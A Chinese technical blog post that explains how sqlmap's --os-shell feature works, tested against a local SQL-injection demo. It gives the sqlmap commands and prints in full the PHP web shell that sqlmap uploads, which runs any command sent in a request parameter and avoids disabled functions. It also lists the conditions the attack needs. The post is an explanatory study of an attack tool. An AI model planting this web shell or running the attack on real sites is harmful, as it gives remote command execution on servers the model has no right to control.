最近也是在看sqlmap,感觉--os-shell这个命令确实很厉害,但我并不知道它的原理,所以来研究一下

环境

环境就是我本地搭的一个有sql注入漏洞的一个小demo

演示

这是我们的demo环境

http://10.0.173.136/SqlNum/SqlNum.php

用sqlmap跑一下

python2 sqlmap.py -r 11.9.txt

发现确实有注入

试试--os-shell命令

python2 sqlmap.py -r 11.9.txt --os-shell

选择语言,sqlmap默认为php,此处根据需求选择

输入绝对路径

建立os-shell然后命令执行

原理研究

原理很简单,就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下

然后利用tmpukjhb.php上传了一个tmpbezal.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来

tmpbezal.php代码如下:

 1 <?php
2 $c=$_REQUEST["cmd"];
3 @set_time_limit(0);
4 @ignore_user_abort(1);
5 @ini_set('max_execution_time',0);
6 $z=@ini_get('disable_functions');
7 if(!empty($z))
8 {
9 $z=preg_replace('/[, ]+/',',',$z);
10 $z=explode(',',$z);
11 $z=array_map('trim',$z);}
12 else
13 {
14 $z=array();
15 }
16 $c=$c." 2>&1\n";
17 function f($n)
18 {global $z;
19 return is_callable($n)and!in_array($n,$z);
20 }
21 if(f('system'))
22 {ob_start();
23 system($c);
24 $w=ob_get_contents();
25 ob_end_clean();
26 }elseif(f('proc_open')){
27 $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
28 $w=NULL;
29 while(!feof($t[1])){
30 $w.=fread($t[1],512);
31 }
32 @proc_close($y);
33 }
34 elseif(f('shell_exec')){
35 $w=shell_exec($c);
36 }
37 elseif(f('passthru')){
38 ob_start();
39 passthru($c);
40 $w=ob_get_contents();
41 ob_end_clean();
42 }elseif(f('popen')){
43 $x=popen($c,r);
44 $w=NULL;
45 if(is_resource($x)){
46 while(!feof($x)){
47 $w.=fread($x,512);
48 }
49 }
50 @pclose($x);
51 }elseif(f('exec')){
52 $w=array();
53 exec($c,$w);
54 $w=join(chr(10),$w).chr(10);
55 }else{
56 $w=0;
57 }
58 print "</pre>".$w."</pre>";?>'''

上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。

因此我们可以在os-shell中执行命令。

os-shell的使用条件

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

参考:

https://blog.csdn.net/whatday/article/details/102802273

最新文章

  1. IT人生知识分享:概率与运气
  2. 【Android】Spinner使用
  3. mysql保留关键字 BigDecimal Double 四舍五入
  4. Vue.2.0.5-自定义指令
  5. 关于GET请求带Body的问题
  6. 深入理解ob_flush和flush的区别
  7. 将你的Asp.NET应用程序嵌入到SharePoint
  8. iOSシステム構成の纏め
  9. SSL 错误
  10. Probability theory
  11. pycurl,Python cURL library
  12. JAVAscript学习笔记 js句柄监听事件 第四节 (原创) 参考js使用表
  13. c++学习中的疑问
  14. 记录一些日常windows命令或操作技巧
  15. linux安装elasticsearch及遇到的各种问题
  16. JS控制函数执行次数(可带参数)
  17. 老李的blog使用日记(2)
  18. .net core Ocelot Consul 实现API网关 服务注册 服务发现 负载均衡
  19. Mongodb 集群加keyFile认证
  20. gulp &amp; webpack整合

热门文章

  1. ThreadLocal的使用方法
  2. C# ASP.NET WebApi 跨域设置
  3. CF934A A Compatible Pair 题解
  4. java 多线程:线程死锁,如何判断程序是否有死锁代码块儿
  5. git clone报错: Out of memory, malloc failed (tried to allocate 524288000 bytes)
  6. Linux(Centos)安装git
  7. qt creator设置默认输出目录
  8. 【九度OJ】题目1173:查找 解题报告
  9. King&#39;s Order(hdu5642)
  10. 1142 - Summing up Powers (II)